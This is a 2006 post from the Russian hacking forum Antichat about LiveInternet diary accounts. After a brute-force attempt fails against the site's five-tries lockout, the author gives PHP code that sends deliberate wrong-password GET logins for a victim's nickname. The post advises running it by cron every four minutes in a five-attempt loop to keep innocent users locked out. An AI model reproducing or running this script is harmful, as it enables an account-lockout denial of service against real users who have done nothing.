Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   дизаблим юзеров лайвинтернета или неудавшийся брут акков (https://forum.antichat.xyz/showthread.php?t=24116)

Talisman 17.09.2006 18:42

дизаблим юзеров лайвинтернета или неудавшийся брут акков
 
.:: Дизабл юзеров лайвинтернета или неудавшийся брут акков ::.

В письме, приходящим после регистрации на проекте приходит интересный код:
Цитата:

Для входа свой дневник в качестве его хозяина нажмите на ссылку
http://www.liveinternet.ru/journal_login.php?nick=ЛОГИН&password=ПАРОЛЬ
т.е. скрипт ловит параметры и гетом.
Но после 5 попыток в тячении 5-ти минут нас обламывают:
Цитата:

Внимание!

За 5 минут вы более 5 раз авторизовались неверно. Очередная попытка авторизации будет вам доступна через 296 секунд
хм... обыдно :(
смена айпи не помогла - нас продолжают посылать лесом :( брут не получился, но зато получился следующий пшп-код:
PHP код:

<?
set_time_limit
(0);
Error_Reporting(E_ALL & ~E_NOTICE);

$request  "GET /journal_login.php?nick=Жертва&password=Лажа HTTP/1.1\r\n";
$request .= "Host: www.liveinternet.ru \r\n";
$request .= "User-Agent: Opera 7.50";
$request .= "Connection: close\r\n";
$request .= "Referer: http://liveinternet.ru/ \r\n\r\n";

$fp fsockopen('www.liveinternet.ru','80'$errno$errstr30);
if (!
$fp
{
   echo 
"$errstr ($errno)<br />\n";

else 
{
   
fwrite($fp$request);  
}
echo 
'done )';
?>

теперь никто не мешает натравить на скрипт крон, чтобы запускать его каждые 4 минуты (меньше чем 290 секунд, на которые нас любезно посылают), добавить цикл, чтобы скрипт отправлял 5 неверных попыток и давить ни в чем не повинных юзеров )


Время: 20:37